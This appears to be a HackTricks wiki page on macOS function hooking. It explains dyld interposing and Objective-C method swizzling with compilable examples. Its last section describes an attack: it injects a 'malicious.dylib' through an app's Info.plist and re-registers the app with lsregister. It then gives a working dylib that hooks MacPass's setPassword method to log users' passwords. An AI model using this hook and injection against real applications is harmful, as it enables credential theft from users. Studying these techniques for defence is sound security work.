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https://github.com/carlospolop/hacktricks
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417 lines
17 KiB
Markdown
417 lines
17 KiB
Markdown
# macOS Function Hooking
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Function Interposing
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Create a **dylib** with an **`__interpose` (`__DATA___interpose`)** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
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Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](macos-library-injection/#check-restrictions).
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### Interpose printf
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{% tabs %}
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{% tab title="interpose.c" %}
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{% code title="interpose.c" overflow="wrap" %}
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```c
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// gcc -dynamiclib interpose.c -o interpose.dylib
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#include <stdio.h>
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#include <stdarg.h>
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int my_printf(const char *format, ...) {
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//va_list args;
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//va_start(args, format);
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//int ret = vprintf(format, args);
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//va_end(args);
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int ret = printf("Hello from interpose\n");
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return ret;
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}
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__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
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__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
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```
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{% endcode %}
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{% endtab %}
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{% tab title="hello.c" %}
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```c
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//gcc hello.c -o hello
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#include <stdio.h>
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int main() {
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printf("Hello World!\n");
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return 0;
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}
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```
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{% endtab %}
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{% tab title="interpose2.c" %}
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{% code overflow="wrap" %}
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```c
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// Just another way to define an interpose
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// gcc -dynamiclib interpose2.c -o interpose2.dylib
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#include <stdio.h>
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#define DYLD_INTERPOSE(_replacement, _replacee) \
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__attribute__((used)) static struct { \
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const void* replacement; \
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const void* replacee; \
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} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
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(const void*) (unsigned long) &_replacement, \
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(const void*) (unsigned long) &_replacee \
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};
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int my_printf(const char *format, ...)
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{
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int ret = printf("Hello from interpose\n");
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return ret;
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}
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DYLD_INTERPOSE(my_printf,printf);
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```
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{% endcode %}
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{% endtab %}
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{% endtabs %}
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```bash
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DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
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Hello from interpose
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DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
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Hello from interpose
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```
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{% hint style="warning" %}
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The **`DYLD_PRINT_INTERPOSTING`** env variable can be used to debug interposing and will print the interpose process.
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{% endhint %}
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Also note that **interposing occurs between the process and the loaded libraries**, it doesn't work with the shared library cache.
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### Dynamic Interposing
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Now it's also possible to interpose a function dynamically using the function **`dyld_dynamic_interpose`**. This allows to programatically interpose a function in run time instead of doing it only from the begining.
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It's just needed to indicate the **tuples** of the **function to replace and the replacement** function.
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```c
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struct dyld_interpose_tuple {
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const void* replacement;
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const void* replacee;
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};
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extern void dyld_dynamic_interpose(const struct mach_header* mh,
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const struct dyld_interpose_tuple array[], size_t count);
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```
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## Method Swizzling
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In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
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It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
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The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
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Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
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{% hint style="danger" %}
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Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
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{% endhint %}
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### Accessing the raw methods
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It's possible to access the information of the methods such as name, number of params or address like in the following example:
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{% code overflow="wrap" %}
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```objectivec
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// gcc -framework Foundation test.m -o test
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#import <Foundation/Foundation.h>
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#import <objc/runtime.h>
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#import <objc/message.h>
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int main() {
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// Get class of the variable
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NSString* str = @"This is an example";
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Class strClass = [str class];
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NSLog(@"str's Class name: %s", class_getName(strClass));
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// Get parent class of a class
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Class strSuper = class_getSuperclass(strClass);
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NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
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// Get information about a method
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SEL sel = @selector(length);
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NSLog(@"Selector name: %@", NSStringFromSelector(sel));
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Method m = class_getInstanceMethod(strClass,sel);
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NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
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NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
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// Iterate through the class hierarchy
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NSLog(@"Listing methods:");
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Class currentClass = strClass;
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while (currentClass != NULL) {
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unsigned int inheritedMethodCount = 0;
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Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
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NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
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for (unsigned int i = 0; i < inheritedMethodCount; i++) {
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Method method = inheritedMethods[i];
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SEL selector = method_getName(method);
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const char* methodName = sel_getName(selector);
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unsigned long address = (unsigned long)method_getImplementation(m);
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NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
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}
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// Free the memory allocated by class_copyMethodList
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free(inheritedMethods);
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currentClass = class_getSuperclass(currentClass);
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}
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// Other ways to call uppercaseString method
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if([str respondsToSelector:@selector(uppercaseString)]) {
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NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
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NSLog(@"Uppercase string: %@", uppercaseString);
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}
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// Using objc_msgSend directly
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NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
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NSLog(@"Uppercase string: %@", uppercaseString2);
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// Calling the address directly
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IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
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NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
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NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
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NSLog(@"Uppercase string: %@", uppercaseString3);
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return 0;
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}
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```
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{% endcode %}
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### Method Swizzling with method\_exchangeImplementations
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The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
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{% hint style="danger" %}
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So when a function is called what is **executed is the other one**.
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{% endhint %}
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{% code overflow="wrap" %}
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```objectivec
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//gcc -framework Foundation swizzle_str.m -o swizzle_str
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#import <Foundation/Foundation.h>
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#import <objc/runtime.h>
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// Create a new category for NSString with the method to execute
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@interface NSString (SwizzleString)
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- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
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@end
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@implementation NSString (SwizzleString)
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- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
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NSLog(@"Custom implementation of substringFromIndex:");
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// Call the original method
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return [self swizzledSubstringFromIndex:from];
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}
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@end
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int main(int argc, const char * argv[]) {
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// Perform method swizzling
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Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
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Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
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method_exchangeImplementations(originalMethod, swizzledMethod);
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// We changed the address of one method for the other
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// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
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// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
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// Example usage
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NSString *myString = @"Hello, World!";
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NSString *subString = [myString substringFromIndex:7];
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NSLog(@"Substring: %@", subString);
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return 0;
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}
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```
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{% endcode %}
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{% hint style="warning" %}
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In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
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The following technique doesn't have this restriction.
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{% endhint %}
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### Method Swizzling with method\_setImplementation
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The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
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Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
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{% code overflow="wrap" %}
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```objectivec
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#import <Foundation/Foundation.h>
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#import <objc/runtime.h>
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#import <objc/message.h>
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static IMP original_substringFromIndex = NULL;
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@interface NSString (Swizzlestring)
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- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
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@end
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@implementation NSString (Swizzlestring)
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- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
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NSLog(@"Custom implementation of substringFromIndex:");
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// Call the original implementation using objc_msgSendSuper
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return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
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}
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@end
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int main(int argc, const char * argv[]) {
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@autoreleasepool {
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// Get the class of the target method
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Class stringClass = [NSString class];
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// Get the swizzled and original methods
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Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
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// Get the function pointer to the swizzled method's implementation
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IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
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// Swap the implementations
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// It return the now overwritten implementation of the original method to store it
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original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
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// Example usage
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NSString *myString = @"Hello, World!";
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NSString *subString = [myString substringFromIndex:7];
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NSLog(@"Substring: %@", subString);
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// Set the original implementation back
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method_setImplementation(originalMethod, original_substringFromIndex);
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return 0;
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}
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}
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```
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{% endcode %}
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## Hooking Attack Methodology
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In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
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In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
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However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
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However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
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So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
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```xml
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<key>LSEnvironment</key>
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<dict>
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<key>DYLD_INSERT_LIBRARIES</key>
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<string>/Applications/Application.app/Contents/malicious.dylib</string>
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</dict>
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```
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and then **re-register** the application:
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{% code overflow="wrap" %}
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```bash
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/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
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```
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{% endcode %}
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Add in that library the hooking code to exfiltrate the information: Passwords, messages...
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{% hint style="danger" %}
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Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
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{% endhint %}
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#### Library example
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{% code overflow="wrap" %}
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```objectivec
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// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
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// If you added env vars in the Info.plist don't forget to call lsregister as explained before
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// Listen to the logs with something like:
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// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
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#include <Foundation/Foundation.h>
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#import <objc/runtime.h>
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// Here will be stored the real method (setPassword in this case) address
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static IMP real_setPassword = NULL;
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static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
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{
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// Function that will log the password and call the original setPassword(pass, file_path) method
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NSLog(@"[+] Password is: %@", password);
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// After logging the password call the original method so nothing breaks.
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return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
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}
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// Library constructor to execute
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__attribute__((constructor))
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static void customConstructor(int argc, const char **argv) {
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// Get the real method address to not lose it
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Class classMPDocument = NSClassFromString(@"MPDocument");
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Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
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// Make the original method setPassword call the fake implementation one
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IMP fake_IMP = (IMP)custom_setPassword;
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real_setPassword = method_setImplementation(real_Method, fake_IMP);
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}
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```
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{% endcode %}
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## References
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* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
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{% hint style="success" %}
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|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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|
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<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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